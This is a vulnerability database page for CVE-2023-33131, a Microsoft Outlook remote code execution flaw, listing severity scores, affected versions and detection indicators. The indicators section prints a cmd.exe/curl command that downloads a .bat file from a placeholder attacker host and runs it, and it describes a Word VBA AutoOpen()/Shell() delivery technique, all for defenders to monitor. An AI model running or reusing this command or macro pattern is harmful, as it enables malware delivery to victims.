cbcvebase.
CVE-2023-33131
published 2023-06-14

CVE-2023-33131: Microsoft Outlook Remote Code Execution Vulnerability

PriorityP264high8.8CVSS 3.1
AVNACLPRNUIRSUCHIHAH
EXPLOIT
EPSS
5.72%
92.2th percentile
Microsoft Outlook Remote Code Execution Vulnerability

Affected

20 ranges
VendorProductVersion rangeFixed in
microsoftmicrosoft_365_apps_for_enterprise>= 16.0.1 < https://aka.ms/OfficeSecurityReleaseshttps://aka.ms/OfficeSecurityReleases
microsoftmicrosoft_office_2019>= 19.0.0 < https://aka.ms/OfficeSecurityReleaseshttps://aka.ms/OfficeSecurityReleases
microsoftmicrosoft_office_ltsc_2021>= 16.0.1 < https://aka.ms/OfficeSecurityReleaseshttps://aka.ms/OfficeSecurityReleases
microsoftmicrosoft_outlook_2013>= 14.0.0 < 15.0.5563.100015.0.5563.1000
microsoftmicrosoft_outlook_2013_service_pack_1>= 15.0.0.0 < 15.0.5563.100015.0.5563.1000
microsoftmicrosoft_outlook_2016>= 16.0.0.0 < 16.0.5400.100016.0.5400.1000
microsoftoffice
microsoftoffice_long_term_servicing_channel
microsoftoutlook
microsoftoutlook
microsoftoutlook_rt
msrcmicrosoft_365_apps_for_enterprise_for_32-bit_systems
msrcmicrosoft_365_apps_for_enterprise_for_64-bit_systems
msrcmicrosoft_office_2019_for_32-bit_editions
msrcmicrosoft_office_2019_for_64-bit_editions
msrcmicrosoft_office_ltsc_2021_for_32-bit_editions
msrcmicrosoft_office_ltsc_2021_for_64-bit_editions
msrcmicrosoft_outlook_2013
msrcmicrosoft_outlook_2013_rt_service_pack_1
msrcmicrosoft_outlook_2016

Detection & IOCsextracted from sources · hover to see the quote

urlhttps://attacker/namaikativputkata/sichko/nikoganqqsaopraite.bat
filenamenikoganqqsaopraite.bat
commandcmd.exe /S /c curl -s https://attacker/namaikativputkata/sichko/nikoganqqsaopraite.bat > nikoganqqsaopraite.bat && .\nikoganqqsaopraite.bat
processAutoOpen
  • Exploit is delivered via a specially crafted Word file containing a malicious VBA macro using AutoOpen() to execute a shell command — monitor for Word documents spawning cmd.exe or curl processes.
  • The VBA macro uses AutoOpen() to call Shell() with cmd.exe, downloading and executing a .bat file via curl — alert on Office processes spawning cmd.exe with curl child processes fetching .bat files.
  • Attack requires user to open a specially crafted file received via email or from a web-based link — monitor for Outlook spawning Office application processes that subsequently execute shell commands.
  • In an email attack scenario, the attacker sends the specially crafted file directly to the victim — inspect inbound email attachments (Word/Office files) for embedded VBA macros with AutoOpen and Shell() calls.
  • ·The attacker-controlled URL hostname ('attacker') in the PoC is a placeholder — real-world campaigns will substitute their own C2 domain. The path structure '/namaikativputkata/sichko/nikoganqqsaopraite.bat' is specific to this PoC and may differ in actual attacks.
  • ·At time of PoC publication, Microsoft had not yet released a patch — verify current patch status via Microsoft's update guide before assuming remediation is complete.

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vendor_msrc8.8HIGH
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